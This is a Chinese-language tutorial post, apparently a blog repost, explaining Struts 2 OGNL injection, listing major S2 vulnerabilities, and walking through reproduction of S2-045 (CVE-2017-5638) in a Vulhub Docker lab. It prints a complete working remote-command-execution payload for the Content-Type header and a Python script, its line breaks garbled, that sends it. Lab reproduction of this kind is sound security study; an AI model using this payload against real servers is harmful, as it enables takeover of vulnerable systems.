当前位置: 首页 > news >正文

Struts 2 s2-045

Struts 2 是 Java Web 开发历史上非常著名的一个框架,但也因为其频发的 远程代码执行 (RCE) 漏洞而“臭名昭著”。这主要归咎于其核心设计中的 OGNL (Object-Graph Navigation Language) 表达式引擎。


一、 核心原理:为什么 Struts 2 总是有漏洞?

Struts 2 漏洞的根源大多指向同一个机制:OGNL 表达式注入

1. 什么是 OGNL?

OGNL 是一种功能强大的表达式语言,用于获取和设置 Java 对象的属性。在 Struts 2 中,它主要用于将 HTTP 请求参数(用户输入)绑定到 Java 对象(Action)中。

2. 漏洞成因

Struts 2 的某些组件(拦截器、标签库等)在处理用户输入时,错误地将用户输入的字符串当成了 OGNL 表达式来执行。

  • 正常流程: 用户输入 username=admin -> 框架将其赋值给 action.username
  • 攻击流程: 用户输入 username=%{1+1} -> 框架解析 OGNL -> 执行 1+1 -> 返回 2
  • 恶意流程: 用户输入包含了调用 Runtime.getRuntime().exec("whoami") 的 OGNL 表达式 -> 框架执行命令 -> 服务器被控制。

二、 历史上著名的 Struts 2 漏洞

Struts 2 的漏洞通常以 "S2-xxx" 命名。以下是几个“核弹级”漏洞:

漏洞编号 CVE 编号 触发位置 简述
S2-045 CVE-2017-5638 HTTP Header (Content-Type) 影响最大。利用 Jakarta Multipart 解析器处理文件上传时的异常,在 Content-Type 中注入 OGNL 实现 RCE。
S2-016 CVE-2013-2251 URL 参数 (前缀) DefaultActionMapper 处理 action:redirect: 前缀时未过滤,导致 OGNL 执行。
S2-057 CVE-2018-11776 URL Namespace 当 Action 定义未设置 namespace 且使用了通配符时,攻击者可在 URL 中注入 OGNL。
S2-061 CVE-2020-17530 HTML 标签属性 S2-059 的绕过版本,OGNL 强制求值导致 RCE。

三、 经典案例详解与复现:S2-045 (CVE-2017-5638)

这是 Struts 2 历史上影响范围最广的漏洞之一(曾导致 Equifax 数据泄露事件)。

1. 漏洞原理

Struts 2 使用 Jakarta Multipart parser 解析文件上传请求。

  1. 攻击者发送一个文件上传请求,但在 HTTP Header 的 Content-Type 字段中放入恶意的 OGNL 表达式。
  2. 由于 Content-Type 格式不合法,解析器抛出异常。
  3. Struts 2 捕获异常,并试图生成错误信息。在构建错误信息(LocalizedTextUtil)的过程中,它错误地执行了包含在 Content-Type 中的 OGNL 表达式

2. 复现环境搭建 (推荐使用 Vulhub)

为了安全和便捷,建议使用 Docker 搭建靶场,不要在物理机或生产环境测试。

前提: 安装好 Docker 和 Docker-compose。

  1. 下载 Vulhub:

    git clone https://github.com/vulhub/vulhub.git
    cd vulhub/struts2/s2-045
    
  2. 启动环境:

    docker-compose up -d
    
  3. 验证启动:

    访问 http://your-ip:8080,如果看到 Struts 2 的文件上传页面,说明环境启动成功。

3. 复现步骤 (Proof of Concept)

你需要修改 HTTP 请求的 Content-Type 头。可以使用 Burp Suite 或 Python 脚本。

方法 A:使用 Burp Suite

  1. 拦截并抓取一个对该网站的 POST 请求。
  2. 将请求发送到 Repeater。
  3. 修改 Content-Type 头,填入以下 Payload(Payload 需要经过特殊构造以绕过安全限制):

Payload 结构解析(简化版):

Plaintext

Content-Type: %{(#_='multipart/form-data').(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(@java.lang.Runtime@getRuntime().exec('id'))}

注意:实际生效的 Payload 往往很长,因为需要通过反射修改 OgnlContext 的权限设置,允许访问静态方法。

真实可用的 Payload 示例 (执行 id 命令):

POST / HTTP/1.1
Host: localhost:8080
Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Content-Length: 0
  1. 发送请求
  2. 观察响应。你应该能在 HTTP 响应包中直接看到 id 命令的执行结果(例如 uid=0(root) gid=0(root)...)。

方法 B:使用 Python 脚本

import requestsurl = "http://localhost:8080"
cmd = "whoami"payload = "%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='" + cmd + "').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"headers = {'Content-Type': payload
}try:r = requests.post(url, headers=headers)print("Command Output:\n", r.text)
except Exception as e:print(e)
http://www.jsqmd.com/news/272975/

相关文章:

  • 基于PLUS-InVEST模型的生态系统服务多情景智能模拟与土地利用优化、论文写作
  • 2026年理化板台面厂家哪家好?五大优质实验室设备供应商推荐,重庆弗莱仕领跑行业! - 深度智识库
  • 2026年天津财产分割律师联系电话推荐:资深专家与专业团队 - 品牌推荐
  • A 股 Tick 数据解惑:工程落地中的核心价值与实操示例
  • Python Web 开发进阶实战:可持续计算 —— 在 Flask + Vue 中构建碳感知应用(Carbon-Aware Computing)
  • 2026 湖州财政局备案财税服务机构口碑推荐榜(行业专精・实力排名) - 品牌智鉴榜
  • 2026年优秀的消毒图书杀菌机,臭氧图书杀菌机,图书杀菌机设备厂家采购精选榜单 - 品牌鉴赏师
  • 飞书联手安克发布首款硬件 AI 录音豆;ElevenLabs 新一轮融资估值或达 110 亿美元丨日报
  • opencode skills安装使用案例
  • 2026严选全年防脱洗发水品牌口碑榜!哪个牌子防脱洗发水效果好又安全?榜首纯草本实力防脱真有用 - 博客万
  • 合肥市英语雅思培训辅导机构推荐。2026权威出国雅思课程排行榜 - 苏木2025
  • 麒麟安装Qt
  • 2026年天津财产分割律所电话推荐:可靠选择与联系要点 - 品牌推荐
  • 2026必备!本科生毕业论文神器TOP10测评
  • 2026年常州项目管理软件服务商选哪家?联拓智能软件凭金蝶授权与本地实力出圈 - 博客万
  • 数据驱动创新生态,知识图谱赋能科技成果转化新路径
  • 2026美白套装哪个好?四款涵盖水乳与精华的不同类型的美白产品鉴赏 - 资讯焦点
  • VS Code NumPy 安装教程:环境配置与代码自动提示设置
  • 数据驱动创新生态,知识图谱重构科技成果转化新路径
  • Java springboot基于微信小程序的企业考勤系统(源码+文档+运行视频+讲解视频)
  • 2026敏感肌也能放心用的美白产品推荐:3款爆火的美白面霜汇总,快看看有哪些优势 - 资讯焦点
  • 告别找资源难!Pansou+cpolar 让内网资源随时随地能访问
  • 互联网大厂Java求职面试实战:微服务、安全与AI技术全解析
  • 2026年天津财产分割律师联系电话推荐:精选推荐与使用指南 - 品牌推荐
  • 1.20
  • 拍摄菜单照片,识别菜品和价格,选中菜品自助算总价,适配聚餐AA制快速算账。
  • 2026挠性联轴器市场:口碑厂家实力展现,鼓式联轴器/联轴器/球齿/球齿传动轴/球齿联轴器/传动轴,挠性联轴器厂家哪个好 - 品牌推荐师
  • 区块链的基石:深入解析工作量证明(PoW)的运作机制与未来挑战
  • 2026国产正规防脱生发洗发水盘点,测评防脱洗发水有哪些品牌好,全球口碑最好的防脱发洗发水 - 博客万
  • GitHub 热榜任务 - 日榜(2025-12-11)